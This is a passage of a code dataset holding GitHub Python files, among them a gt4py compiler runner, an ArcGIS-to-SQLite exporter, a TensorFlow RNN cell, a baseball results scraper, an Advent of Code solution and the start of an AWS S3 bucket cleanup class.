content at links -  This will allow for the maximum flexibility in dealing with content later\n        saver(year,number,raw_pages,raw_names,meta_data)\n        print(\"Downloaded and Saved \" + str(number) + \" \" + meta_data[0])\n\n#Queue manager\n#supply year and number\n#start = int(sys.argv[3])\n#for i in xrange(int(sys.argv[1]),int(sys.argv[2]),-1):\n #   main(i,start)\n \nfor year in xrange(2013,2014):\n    main(year,1)","repo_name":"libgober/court-code","sub_path":"Downloading Scripts/v1-sophisticated-downloader.py","file_name":"v1-sophisticated-downloader.py","file_ext":"py","file_size_in_byte":3818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"72889034615","text":"from typing import Any\n\nimport numpy.typing as npt\n\nfrom gt4py.eve.utils import content_hash\nfrom gt4py.next import common\nfrom gt4py.next.iterator.transforms import LiftMode\nfrom gt4py.next.otf import languages, recipes, stages, workflow\nfrom gt4py.next.otf.binding import cpp_interface, nanobind\nfrom gt4py.next.otf.compilation import cache, compiler\nfrom gt4py.next.otf.compilation.build_systems import compiledb\nfrom gt4py.next.program_processors import otf_compile_executor\nfrom gt4py.next.program_processors.codegens.gtfn import gtfn_module\nfrom gt4py.next.type_system.type_translation import from_value\n\n\n# TODO(ricoh): Add support for the whole range of arguments that can be passed to a fencil.\ndef convert_arg(arg: Any) -> Any:\n    if isinstance(arg, tuple):\n        return tuple(convert_arg(a) for a in arg)\n    if common.is_field(arg):\n        arr = arg.ndarray\n        origin = getattr(arg, \"__gt_origin__\", tuple([0] * len(arg.domain)))\n        return arr, origin\n    else:\n        return arg\n\n\ndef convert_args(inp: stages.CompiledProgram) -> stages.CompiledProgram:\n    def decorated_program(\n        *args, offset_provider: dict[str, common.Connectivity | common.Dimension]\n    ):\n        converted_args = [convert_arg(arg) for arg in args]\n        conn_args = extract_connectivity_args(offset_provider)\n        return inp(\n            *converted_args,\n            *conn_args,\n        )\n\n    return decorated_program\n\n\ndef extract_connectivity_args(\n    offset_provider: dict[str, common.Connectivity | common.Dimension]\n) -> list[tuple[npt.NDArray, tuple[int, ...]]]:\n    # note: the order here needs to agree with the order of the generated bindings\n    args: list[tuple[npt.NDArray, tuple[int, ...]]] = []\n    for name, conn in offset_provider.items():\n        if isinstance(conn, common.Connectivity):\n            if not isinstance(conn, common.NeighborTable):\n                raise NotImplementedError(\n                    \"Only `NeighborTable` connectivities implemented at this point.\"\n                )\n            args.append((conn.table, tuple([0] * 2)))\n        elif isinstance(conn, common.Dimension):\n            pass\n        else:\n            raise AssertionError(\n                f\"Expected offset provider `{name}` to be a `Connectivity` or `Dimension`, \"\n                f\"but got {type(conn).__name__}.\"\n            )\n    return args\n\n\ndef compilation_hash(otf_closure: stages.ProgramCall) -> int:\n    \"\"\"Given closure compute a hash uniquely determining if we need to recompile.\"\"\"\n    offset_provider = otf_closure.kwargs[\"offset_provider\"]\n    return hash(\n        (\n            otf_closure.program,\n            # As the frontend types contain lists they are not hashable. As a workaround we just\n            # use content_hash here.\n            content_hash(tuple(from_value(arg) for arg in otf_closure.args)),\n            id(offset_provider) if offset_provider else None,\n            otf_closure.kwargs.get(\"column_axis\", None),\n        )\n    )\n\n\nGTFN_DEFAULT_TRANSLATION_STEP = gtfn_module.GTFNTranslationStep(\n    cpp_interface.CPP_DEFAULT, enable_itir_transforms=True, use_imperative_backend=False\n)\n\nGTFN_DEFAULT_COMPILE_STEP = compiler.Compiler(\n    cache_strategy=cache.Strategy.SESSION, builder_factory=compiledb.CompiledbFactory()\n)\n\n\nGTFN_DEFAULT_WORKFLOW = recipes.OTFCompileWorkflow(\n    translation=GTFN_DEFAULT_TRANSLATION_STEP,\n    bindings=nanobind.bind_source,\n    compilation=GTFN_DEFAULT_COMPILE_STEP,\n    decoration=convert_args,\n)\n\n\nrun_gtfn = otf_compile_executor.OTFCompileExecutor[\n    languages.Cpp, languages.LanguageWithHeaderFilesSettings, languages.Python, Any\n](name=\"run_gtfn\", otf_workflow=GTFN_DEFAULT_WORKFLOW)\n\nrun_gtfn_imperative = otf_compile_executor.OTFCompileExecutor[\n    languages.Cpp, languages.LanguageWithHeaderFilesSettings, languages.Python, Any\n](\n    name=\"run_gtfn_imperative\",\n    otf_workflow=run_gtfn.otf_workflow.replace(\n        translation=run_gtfn.otf_workflow.translation.replace(use_imperative_backend=True),\n    ),\n)\n\nrun_gtfn_cached = otf_compile_executor.CachedOTFCompileExecutor[\n    languages.Cpp, languages.LanguageWithHeaderFilesSettings, languages.Python, Any\n](\n    name=\"run_gtfn_cached\",\n    otf_workflow=workflow.CachedStep(step=run_gtfn.otf_workflow, hash_function=compilation_hash),\n)  # todo(ricoh): add API for converting an executor to a cached version of itself and vice versa\n\n\nrun_gtfn_with_temporaries = otf_compile_executor.OTFCompileExecutor[\n    languages.Cpp, languages.LanguageWithHeaderFilesSettings, languages.Python, Any\n](\n    name=\"run_gtfn_with_temporaries\",\n    otf_workflow=run_gtfn.otf_workflow.replace(\n        translation=run_gtfn.otf_workflow.translation.replace(lift_mode=LiftMode.FORCE_TEMPORARIES),\n    ),\n)\n","repo_name":"GridTools/gt4py","sub_path":"src/gt4py/next/program_processors/runners/gtfn_cpu.py","file_name":"gtfn_cpu.py","file_ext":"py","file_size_in_byte":4747,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"22"}
+{"seq_id":"36479106633","text":"from sqlite3 import Connection\nfrom utilities import listFields,getShp, parseFieldType,getProjCode,getProjDetails,getOID,makeParseProp,makeInter,statusMessage\nfrom arcpy import SpatialReference,SearchCursor,AddMessage,GetArgumentCount,GetParameterAsText,Describe\nfrom wkb import getWKBFunc\nfrom functools import partial\n\ndef makeDB(out):\n\tconn=Connection(out)\n\tc=conn.cursor()\n\tc.execute(\"\"\"CREATE TABLE geometry_columns (     f_table_name VARCHAR,      f_geometry_column VARCHAR,      geometry_type INTEGER,      coord_dimension INTEGER,      srid INTEGER,     geometry_format VARCHAR )\"\"\")\n\tc.execute(\"\"\"CREATE TABLE spatial_ref_sys        (     srid INTEGER UNIQUE,     auth_name TEXT,     auth_srid TEXT,     srtext TEXT)\"\"\")\n\tconn.commit()\n\tc.close()\n\treturn True\n\ndef insertFunc(db,name):\n\tconn=Connection(db)\n\tc=conn.cursor()\n\tdef returnFunc(fc):\n\t\tkeys = fc.keys()\n\t\tvalues = fc.values()\n\t\tc.execute(\"\"\"insert into {0}({1})\n\t\t\t\tvalues({2})\n\t\t\t\t\"\"\".format(name,\", \".join(keys),makeInter(len(values))),values)\n\t\tconn.commit()\n\tdef closefunc():\n\t\tc.close()\n\treturn [returnFunc,closefunc]\n\ndef addRows(featureClass,db,name):\n\tAddMessage('add rows')\n\t[insert,close] = insertFunc(db,name)\n\t[shp,shpType]=getShp(featureClass)\n\tfields=listFields(featureClass)\n\toid=getOID(fields)\n\tstatus = statusMessage(featureClass)\n\tsr=SpatialReference()\n\twkt = getProjDetails(featureClass)[1]\n\tsr.loadFromString(wkt)\n\t#the search cursor\n\trows=SearchCursor(featureClass,\"\",sr)\n\tparseGeo=getWKBFunc(shpType,shp)\n\tparseProp = partial(makeParseProp,fields,shp)\n\ttry:\n\t\tfor row in rows:\n\t\t\tstatus.update()\n\t\t\tfc = parseProp(row)\n\t\t\ttry:\n\t\t\t\tfc[\"geometry\"]=parseGeo(row)\n\t\t\texcept:\n\t\t\t\tcontinue\n\t\t\tinsert(fc)\n\texcept Exception as e:\n\t\tAddMessage(\"OH SNAP! \" + str(e))\n\tfinally:\n\t\tdel row\n\t\tdel rows\n\t\tclose()\n\ndef prepareFeature(featureClass,db,name):\n\tdesc = Describe(featureClass)\n\tshp = desc.ShapeFieldName\n\tshpType= desc.shapeType.lower()\n\tif shpType == \"point\":\n\t\tgType = 1\n\telif shpType == \"multipoint\":\n\t\tgType = 4\n\telif shpType == \"polyline\":\n\t\tgType = 5\n\telif shpType == \"polygon\":\n\t\tgType = 6\n\tfields=listFields(featureClass)\n\tfieldNames = []\n\tfieldNames.append(\"OGC_FID INTEGER PRIMARY KEY\")\n\tfieldNames.append(\"GEOMETRY blob\")\n\tfor field in fields:\n\t\tif (fields[field] != u'OID') and field.lower() !=shp.lower():\n\t\t\tfieldNames.append(parseFieldType(field,fields[field]))\n\tprojCode = getProjCode(featureClass)\n\tconn=Connection(db)\n\tc=conn.cursor()\n\tc.execute(\"\"\"insert into geometry_columns( f_table_name, f_geometry_column, geometry_type, coord_dimension, srid, geometry_format) values(?,?,?,?,?,?)\"\"\",(name,\"GEOMETRY\",gType,2,projCode,\"WKB\"))\n\tc.execute(\"select srid from spatial_ref_sys where srid=:code\",{'code':projCode})\n\tif not len(c.fetchall()):\n\t\t[auth,wkt]=getProjDetails(featureClass)\n\t\tc.execute(\"insert into spatial_ref_sys(srid ,auth_name ,auth_srid ,srtext) values(?,?,?,?)\",(projCode, auth, projCode,wkt))\n\tc.execute(\"create table {0}({1})\".format(name,\", \".join(fieldNames)))\n\tconn.commit()\n\tc.close()\n\treturn addRows(featureClass,db,name)\n\t\nif GetArgumentCount()==1:\n\tmakeDB(GetParameterAsText(0))\nelif GetArgumentCount()==3:\n\tprepareFeature(GetParameterAsText(0),GetParameterAsText(1),GetParameterAsText(2))","repo_name":"calvinmetcalf/arcsqlite","sub_path":"arcsqlite.py","file_name":"arcsqlite.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22651691565","text":"#!/usr/bin/python\n\nfrom collections import OrderedDict\nimport matplotlib.pyplot as plt\nimport sys\nimport numpy as np\nfrom scipy.interpolate import spline\nimport matplotlib.ticker as ticker\n\n\ndef parse_csv(csv_file):\n    \"\"\"\n    Parses csv file with similar format to the one generated by Tracer\n    Example:\n    time; mean; median; hpd lower 95; hpd upper 95\n    \"\"\"\n\n    csv_data = OrderedDict()\n\n    csv_fh = open(csv_file)\n\n    next(csv_fh)\n\n    for line in csv_fh:\n\n        fields = line.split(\",\")\n\n        fields = [float(x) for x in fields]\n\n        # Get time as key and median and HPD bounds as value list\n        csv_data[float(fields[0])] = fields[2:]\n\n    return csv_data\n\n\ndef skyline_plot(csv_data, output_file):\n    \"\"\"\n    Creates a skyline style plot from data on a csv_file. This csv file should\n    be compliant with the one generated by Tracer and is parsed by parse_csv\n    function.\n    \"\"\"\n\n    fig, ax = plt.subplots()\n\n    #x_data = list(csv_data.keys())\n    x_data = np.arange(len(csv_data))\n\n    median_data = np.array([x[0] for x in csv_data.values()])\n    lower_hpd = np.array([x[1] for x in csv_data.values()])\n    higher_hpd = np.array([x[2] for x in csv_data.values()])\n\n    plt.xticks(x_data, [\"%.2E\" % x for x in csv_data.keys()], rotation=45,\n               ha=\"right\")\n\n    xnew = np.linspace(x_data.min(),x_data.max(), 200)\n\n    smooth_median = spline(x_data, median_data, xnew)\n    smooth_lower = spline(x_data, lower_hpd, xnew)\n    smooth_higher = spline(x_data, higher_hpd, xnew)\n\n    ax.plot(xnew, smooth_median, \"--\", color=\"black\")\n    #ax.fill_between(x_data, higher_hpd, lower_hpd, facecolor=\"blue\", alpha=0.5)\n    ax.plot(xnew, smooth_lower, color=\"blue\")\n    ax.plot(xnew, smooth_higher, color=\"blue\")\n    ax.fill_between(xnew, smooth_higher, smooth_lower, facecolor=\"blue\", alpha=0.3)\n\n\n    plt.xlabel(\"Time\")\n    plt.ylabel(\"Ne\")\n\n    plt.tight_layout()\n    plt.savefig(\"%s.svg\" % (output_file))\n\n\ndef main():\n\n    # Get arguments\n    args = sys.argv\n\n    csv_file = args[1]\n    output_file = args[2]\n\n    csv_data = parse_csv(csv_file)\n    skyline_plot(csv_data, output_file)\n\nmain()\n","repo_name":"CoBiG2/RAD_Tools","sub_path":"skyline_creator.py","file_name":"skyline_creator.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"22"}
+{"seq_id":"74916318136","text":"import tensorflow as tf\nimport collections  # needed for namedtuple\nimport RNNCell  # import abstract base class\n\n\n# Collection of tensors describing the current hidden cell configuration. Here only one hidden state.\nMyBasicRNNState = collections.namedtuple('MyBasicRNNState', ['hidden'])  # Create new named tuple class\n\n\nclass BasicRNNCell(RNNCell.RNNCell):\n    \"\"\" Implementation of a very basic RNN cell.\n\n    \"\"\"\n\n    def __init__(self, n_inp, n_out):\n        \"\"\"\n\n        :param n_out: Dimension of the output\n        :param n_inp: Dimension of the input\n        \"\"\"\n        super(BasicRNNCell, self).__init__(n_inp, n_out)\n        self.sz_hidden = n_out\n\n        with tf.variable_scope('BasicRNNCell'):\n            #####Start Subtask 1a#####\n\n            # initialize forward part with with Xavier (Glorot) initialization\n            # initialize recurrent part with identity matrix\n            w_forward_init = tf.contrib.layers.xavier_initializer()((n_inp, n_out))\n            w_recurrent_init = tf.eye(n_out, n_out)\n            w_init = tf.concat([w_forward_init, w_recurrent_init], axis=0)\n            self.W = tf.get_variable('W', initializer=w_init)\n            self.b = tf.get_variable('b', [n_out], initializer=tf.zeros_initializer)\n            #####End Subtask#####\n\n    def __call__(self, state, x):\n        \"\"\" Apply the cell to an given input i.e. unroll the RNN on the input and add it to the graph.\n\n        :param state: Initial state\n        :param x: Input, shape: (batch size, time steps, input dimension)\n        :return: List of outputs of every step, tensor of the final state after computation\n        \"\"\"\n        # In case one-hot encoding is used\n        x = tf.cast(x, tf.float32)\n\n        #####Start Subtask 1b#####\n\n        # Split input into inputs for every time step\n        x = tf.unstack(x, axis=1)\n        outputs = []\n\n        # Unroll the net on the inputs\n        for x_i in x:\n            # Handle 1 dimensional inputs\n            if len(x_i.get_shape()) < 2:\n                x_i = tf.expand_dims(x_i, axis=1)\n\n            # Apply cell\n            comb_inp = tf.concat([x_i, state.hidden], axis=1)\n            state = MyBasicRNNState(tf.nn.relu(tf.matmul(comb_inp, self.W) + self.b))\n\n            outputs.append(state.hidden)\n\n        #####End Subtask#####\n\n        return outputs, state\n\n    def get_state_placeholder(self, name):\n        \"\"\"\n\n        :param name: Name of the placeholder\n        :return: Placeholder for the state\n        \"\"\"\n        ph_hidden = tf.placeholder(dtype=tf.float32, shape=(None, self.sz_hidden), name= '%s_%s' % (name, 'hidden'))\n        return MyBasicRNNState(ph_hidden)\n\n    def get_zero_state_for_inp(self, x):\n        \"\"\" Return a initial zero state for the cell based on the expected batch size.\n\n        :param x: Expected input (Used to determine the batch size)\n        :return: Zero initial state for the expected batch size\n        \"\"\"\n        zeros_dims = tf.stack([tf.shape(x)[0], self.sz_hidden]) \n        return MyBasicRNNState(tf.zeros(zeros_dims))\n\n    def create_state_feed_dict(self, pl_state, np_state):\n        \"\"\" Return a dict which contains contains state assignments for tensorflows feed_dict\n\n        :param pl_state: Data structure containing the state placeholders (only hidden state)\n        :param np_state: Data for the state placeholders\n        :return: Dict feeding the state data into the placeholders\n        \"\"\"\n        return {pl_state.hidden: np_state.hidden}\n","repo_name":"daniel-bogdoll/machine_learning","sub_path":"2_Deep/7_Recurrent Neural Networks/Exercise/exercise-06_ml/q1_rnn/BasicRNNCell.py","file_name":"BasicRNNCell.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"10604009992","text":"#!/bin/python\nimport argparse\nimport itertools as it\n\nfrom pathlib import Path\n\nfrom askem_extractions.data_model import AttributeCollection\nfrom askem_extractions.importers import import_arizona, import_mit\n\n\ndef import_extractions(path: Path, importer):\n    return importer(path)\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-a\", \"--arizona_input_file\")\n    parser.add_argument(\"-m\", \"--mit_input_file\")\n    parser.add_argument(\"-o\", \"--output_file\", default=\"output_extractions.json\")\n\n    args = parser.parse_args()\n\n    if not (args.arizona_input_file or args.mit_input_file):\n        print(\"Should provide at least one input file: Arizona and/or MIT\")\n        exit(1)\n\n    # Import the specified files\n    normalized = list()\n    if args.arizona_input_file:\n        try:\n            normalized.append(import_extractions(Path(args.arizona_input_file), import_arizona))\n        except Exception as ex:\n            print(f\"Problem parsing Arizona extractions file {args.arizona_input_file}: {type(ex)}  {ex}\")\n    if args.mit_input_file:\n        try:\n            normalized.append(import_extractions(Path(args.mit_input_file), import_mit))\n        except Exception as ex:\n            print(f\"Problem parsing MIT extractions file {args.mit_input_file}: {type(ex)} {ex}\")\n\n    # Merge any collections imported above\n    collections = AttributeCollection(\n        attributes=list(it.chain.from_iterable(c.attributes for c in normalized)))\n    # Compute the output file name\n    # new_name = f\"canonical_{path_to_json.stem}.json\"\n    # Save the collection of arizona extractions as the standard json format\n    collections.save_json(args.output_file)\n","repo_name":"ml4ai/ASKEM-TA1-DataModel","sub_path":"bin/normalize_extractions.py","file_name":"normalize_extractions.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"25420589092","text":"import re\nfrom collections import Counter\n\ndef solution(str1, str2):\n    \n    str1 = str1.lower()\n    str2 = str2.lower()\n    s1 = []\n    s2 = []\n    \n    for i in range(len(str1)-1):\n        if (str1[i:i+2].isalpha())==True:\n            s1.append(str1[i:i+2])\n    for j in range(len(str2)-1):\n        if (str2[j:j+2].isalpha())==True:\n            s2.append(str2[j:j+2])\n    \n\n    Counter1 = Counter(s1)\n    Counter2 = Counter(s2)\n    \n    inter = list((Counter1&Counter2).elements())\n    \n    union = list((Counter1|Counter2).elements())\n    \n    if len(union) == 0 and len(inter) == 0:\n        return 65536\n    else:\n        return int(len(inter) / len(union) * 65536)\n    \nimport re\nfrom collections import Counter\n\ndef solution(str1, str2):    \n    str1_list = []\n    str2_list = []\n    \n    for i in range(len(str1)-1):\n        if str1[i:i+2].isalpha():\n             str1_list.append(str1[i:i+2].lower())\n    \n    for i in range(len(str2)-1):\n        if str2[i:i+2].isalpha():\n             str2_list.append(str2[i:i+2].lower())\n    \n    a = (Counter(str1_list) & Counter(str2_list)).values()\n    result_1 = 0\n    for i in a:\n        result_1 += i\n    \n    \n    b = (Counter(str1_list)|Counter(str2_list)).values()\n    result_2 = 0\n    for i in b:\n        result_2 += i\n    \n    try:\n        c = result_1/result_2\n    except:\n        c = 1\n    answer = int(c*65536)\n    \n    return answer","repo_name":"lhs961021/python_algorithm","sub_path":"programmers/level2/뉴스클러스터링.py","file_name":"뉴스클러스터링.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"27327008230","text":"\nfrom willie.module import *\n\n@require_privilege(OP)\n@commands('rules')\ndef rules(bot, trigger):\n    if not trigger.group(2):\n        bot.msg(trigger.nick, 'Please add a name to the command')\n    else:\n        bot.msg('Chanserv', trigger.sender + ' KICK ' + trigger.group(2) + ' Please read the rules again before re-joining -> https://www.toontownfellowship.com/irc/')\n","repo_name":"toontownfellowship/FellowBot","sub_path":"rules.py","file_name":"rules.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"12146232812","text":"from rest_api.rest_api_server.tests.unittests.test_api_base import TestApiBase\nfrom unittest.mock import ANY, patch, call\n\n\nclass TestReportImportsApi(TestApiBase):\n\n    def setUp(self, version='v2'):\n        super().setUp(version)\n        _, self.org = self.client.organization_create(\n            {'name': \"organization\"})\n        self.org_id = self.org['id']\n        self.auth_user = self.gen_id()\n        _, self.employee = self.client.employee_create(\n            self.org_id, {'name': 'employee',\n                          'auth_user_id': self.auth_user})\n        patch('rest_api.rest_api_server.controllers.base.BaseController.'\n              'get_user_id', return_value=self.auth_user).start()\n        patch('rest_api.rest_api_server.controllers.base.'\n              'BaseController.publish_activities_task').start()\n\n    def test_service_email_send(self):\n        p_email_send = self.mock_email_send_enable()\n        code, _ = self.client.submit_for_audit(self.org_id)\n        self.assertEqual(code, 204)\n        p_email_send.assert_called_once_with(\n            ANY, ANY, template_type='organization_audit_submit',\n            template_params=ANY)\n\n    def test_event_created(self):\n        patch('rest_api.rest_api_server.controllers.submit_for_audit.'\n              'AuditSubmitController.send_submit_audit_service_email').start()\n        p_activities_publish = patch(\n            'rest_api.rest_api_server.controllers.base.'\n            'BaseController.publish_activities_task').start()\n        code, _ = self.client.submit_for_audit(self.org_id)\n        self.assertEqual(code, 204)\n        p_activities_publish.assert_has_calls([\n            call(self.org_id, self.org_id, 'organization',\n                 'technical_audit_submit', ANY,\n                 'organization.technical_audit_submit', add_token=True)])\n\n    def test_submit_invalid_org(self):\n        code, deleted_org = self.client.organization_create(\n            {'name': 'deleted_org'})\n        self.assertEqual(code, 201)\n        self.delete_organization(deleted_org['id'])\n\n        org_ids = ['impostor', deleted_org['id']]\n        for org_id in org_ids:\n            code, data = self.client.submit_for_audit(org_id)\n            self.assertEqual(code, 404)\n            self.assertEqual(data['error']['error_code'], 'OE0002')\n","repo_name":"hystax/optscale","sub_path":"rest_api/rest_api_server/tests/unittests/test_submit_for_audit.py","file_name":"test_submit_for_audit.py","file_ext":"py","file_size_in_byte":2303,"program_lang":"python","lang":"en","doc_type":"code","stars":646,"dataset":"github-code","pt":"22"}
+{"seq_id":"15159441521","text":"from typing import List\nimport datetime\n\nfrom bs4 import BeautifulSoup\nfrom loguru import logger\nimport requests\n\nfrom domain.repository.scraping import IScrapingRepository\nfrom domain.model.win_loss import WinLossModel\nfrom utils.util import Util\n\n\nclass YahooScraping(IScrapingRepository):\n    def scrape(self, team_id: int, url: str) -> List[WinLossModel]:\n        logger.info('scrape url: ' + url)\n        try:\n            response = requests.get(url)\n        except Exception as e:\n            logger.exception(e)\n            raise\n\n        # 月、年の文字列取得\n        year_str, month_str = Util.get_query_param(url, 'month').split('-')\n\n        # スクレピング\n        soup = BeautifulSoup(response.text, 'html.parser')\n        data = []\n        try:\n            for element in soup.select(\n                    '#tm_clnd .bb-calendarTable__row .bb-calendarTable__data .bb-calendarTable__wrap'\n            ):\n                # 試合がない日はスキップ\n                if not element.select_one('.bb-calendarTable__versusTeam'):\n                    continue\n\n                # レギュラーシーズン以外はスキッ���\n                game_date = datetime.date(\n                    int(year_str), int(month_str), int(element.select_one('.bb-calendarTable__date').text)\n                )\n                if not Util.is_in_period(\n                    target_date=game_date, from_date=datetime.date(2022, 3, 25),  to_date=datetime.date(2022, 10, 3)\n                ):\n                    continue\n\n                # 試合終了以外はスキップ\n                if element.select_one('.bb-calendarTable__status').text != '試合終了':\n                    continue\n\n                # ゲームステータス判定\n                game_status = 1\n                # 交流戦判定\n                if Util.is_in_period(\n                    target_date=game_date, from_date=datetime.date(2022, 5, 24), to_date=datetime.date(2022, 6, 16)\n                ):\n                    game_status = 2\n\n                # リストに追加\n                data.append(\n                    WinLossModel(\n                        date=game_date,\n                        game_status=game_status,\n                        is_win=1 if element.select_one('.bb-calendarTable__score .bb-calendarTable__win') else 0,\n                        is_lose=1 if element.select_one('.bb-calendarTable__score .bb-calendarTable__lose') else 0,\n                        is_draw=1 if element.select_one('.bb-calendarTable__score .bb-calendarTable__draw') else 0,\n                        team_id=team_id\n                    )\n                )\n            return data\n        except Exception as e:\n            logger.exception(e)\n            raise\n","repo_name":"44taka/baseball-batch","sub_path":"app/infrastructure/scraping/yahoo.py","file_name":"yahoo.py","file_ext":"py","file_size_in_byte":2748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23459078922","text":"import copy\n\n\ndef load_data(filename):\n    with open(filename) as f:\n        data = f.read().splitlines()\n\n    return [tuple(map(int, l.split(','))) for l in data]\n\n\n\ndef get_no_neigbours(x, y, z, data):\n    max_x = len(data) - 1\n    max_y = len(data[0]) - 1\n    max_z = len(data[0][0]) - 1 \n    no_neigbourds = 0\n    for dx, dy, dz in [\n        (1, 0, 0), (-1, 0, 0),\n        (0, 1, 0), (0, -1, 0),\n        (0, 0, 1), (0, 0, -1),\n    ]:\n        if (\n            0 <= x + dx <= max_x and \n            0 <= y + dy <= max_y and \n            0 <= z + dz <= max_z\n        ):\n            no_neigbourds += int(data[x+dx][y+dy][z+dz])\n    return no_neigbourds\n\n\n\ndef solve_1(data):\n    max_x = max(c[0] for c in data)\n    max_y = max(c[1] for c in data)\n    max_z = max(c[2] for c in data)\n\n    grid = [\n        [\n            [False] * max_z \n            for y in range(max_y)\n        ]\n        for x in range(max_x)\n    ]\n\n    for x, y, z in data:\n        grid[x-1][y-1][z-1] = True\n\n    sides = 0\n    for x, y, z in data:\n        visible_sides = 6 - get_no_neigbours(x-1, y-1, z-1, grid)\n        sides += visible_sides\n\n    return sides\n\n\n\ndef cluster(data):\n    max_x = len(data) - 1\n    max_y = len(data[0]) - 1\n    max_z = len(data[0][0]) - 1\n    grid = copy.deepcopy(data)\n\n    points_to_consider = set()\n    for x in range(max_x + 1):\n        for y in range(max_y + 1):\n            for z in range(max_z + 1):\n                if grid[x][y][z]:\n                    grid[x][y][z] = 0\n                else:\n                    grid[x][y][z] = -1\n                if (\n                    x == 0 or y == 0 or z == 0 or \n                    x == max_x or y == max_y or z == max_z\n                ): \n                    points_to_consider.add((x, y, z))\n                \n    class_id = 0\n    while points_to_consider:\n        class_id += 1\n        x, y, z = points_to_consider.pop()\n        if grid[x][y][z] != -1:\n            continue\n        neigbours = set([(x, y, z)])\n        while neigbours:\n            x, y, z = neigbours.pop()\n            grid[x][y][z] = class_id\n            for dx, dy, dz in [\n                (1, 0, 0), (-1, 0, 0),\n                (0, 1, 0), (0, -1, 0),\n                (0, 0, 1), (0, 0, -1),\n            ]:\n                if (\n                    0 <= x + dx <= max_x and \n                    0 <= y + dy <= max_y and \n                    0 <= z + dz <= max_z\n                ):\n                    nx = x + dx\n                    ny = y + dy\n                    nz = z + dz\n                    if grid[nx][ny][nz] == -1:\n                        neigbours.add((nx, ny, nz))\n                    points_to_consider.discard((nx, ny, nz))\n\n    return grid\n\n\n\ndef solve_2(data):\n    max_x = max(c[0] for c in data)\n    max_y = max(c[1] for c in data)\n    max_z = max(c[2] for c in data)\n\n    grid = [\n        [\n            [False] * max_z \n            for y in range(max_y)\n        ]\n        for x in range(max_x)\n    ]\n    for x, y, z in data:\n        grid[x-1][y-1][z-1] = True\n\n    grid = cluster(grid)\n    data = list()\n    for x in range(len(grid)):\n        for y in range(len(grid[0])):\n            for z in range(len(grid[0][0])):\n                if grid[x][y][z] <= 0:\n                    grid[x][y][z] = True\n                    data.append((x, y, z))\n                else:\n                    grid[x][y][z] = False\n\n    sides = 0\n    for x, y, z in data:\n        visible_sides = 6 - get_no_neigbours(x, y, z, grid)\n        sides += visible_sides\n\n    return sides\n\n\nif __name__ == \"__main__\":\n    data = load_data(\"example.txt\")\n    print(\"Star 1 (example):\", solve_1(data))\n    print(\"Star 2 (example):\", solve_2(data))\n\n    data = load_data(\"input.txt\")\n    print(\"Star 1 (input):\", solve_1(data))\n    print(\"Star 2 (input):\", solve_2(data))\n\n","repo_name":"MGniew/AoC2022","sub_path":"18/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":3774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36319414611","text":"import re\nfrom .resource_service import ResourceService\nfrom .resource import Resource\nimport logging\nimport botocore\n\n\nclass S3Bucket(Resource):\n    def __init__(self, session, region, bucket) -> None:\n        self.bucket = bucket\n        self.region = region\n        self.logger = logging.getLogger(__name__)\n        self.s3_client = session.create_client('s3', self.region)\n\n        super().__init__(session)\n\n    def details(self):\n        return f's3/bucket {self.bucket[\"Name\"]}'\n\n    def check_bucket_empty(self, bucket_name):\n        response = self.s3_client.list_objects_v2(\n            Bucket=self.bucket['Name'],\n            MaxKeys=1\n        )\n        if \"Contents\"  in response:\n            return False\n\n        response = self.s3_client.list_object_versions(\n            Bucket=self.bucket['Name'],\n            MaxKeys=1\n        )\n\n        if \"DeleteMarkers\" in response or \"Versions\" in response:\n            return False\n\n        return True\n\n\n    def check(self):\n        empty = self.check_bucket_empty(self.bucket['Name'])\n        if empty:\n            self.logger.info(f\"Bucket {self.bucket['Name']} is empty and can be deleted\")\n        else:\n            self.logger.info(f\"Bucket {self.bucket['Name']} is NOT empty and cannot be deleted\")\n    \n    \n    def delete(self, dry_run):\n        empty = self.check_bucket_empty(self.bucket['Name'])\n\n        if empty:\n            if not dry_run:\n                self.s3_client.delete_bucket(Bucket=self.bucket['Name'])\n\n                self.logger.info(f\"Deleted bucket {self.bucket['Name']}\")\n                pass\n            else:\n                self.logger.info(f\"Would delete bucket {self.bucket['Name']}\")\n            pass\n        else:\n            self.logger.warning(f\"Bucket {self.bucket['Name']} is NOT empty and cannot be deleted\")\n        pass\n\n    def disable(self, dry_run):\n        if not dry_run:\n            self.s3_client.put_bucket_versioning(\n                Bucket=self.bucket['Name'],\n                VersioningConfiguration={'Status': 'Suspended'}\n            )\n            self.logger.info(f\"Disabled bucket versioning for bucket {self.bucket['Name']}\")\n\n            self.s3_client.put_bucket_logging(\n                Bucket=self.bucket['Name'],\n                BucketLoggingStatus={}\n            )\n            self.logger.info(f\"Disabled bucket logging for bucket {self.bucket['Name']}\")\n\n            self.s3_client.put_bucket_lifecycle_configuration(\n                Bucket=self.bucket['Name'],\n                LifecycleConfiguration={\n                    'Rules': [\n                        {\n                            'Expiration': {'Days': 1},\n                            'Prefix': '',\n                            'ID': 'Turbot Account Clean - Delete All Objects',\n                            'Status': 'Enabled',\n                            'NoncurrentVersionExpiration': {'NoncurrentDays': 1},\n                            'AbortIncompleteMultipartUpload': {'DaysAfterInitiation': 1}\n                        }\n                    ]\n                }\n            )\n            self.logger.info(f\"Set bucket lifecycle to clear bucket 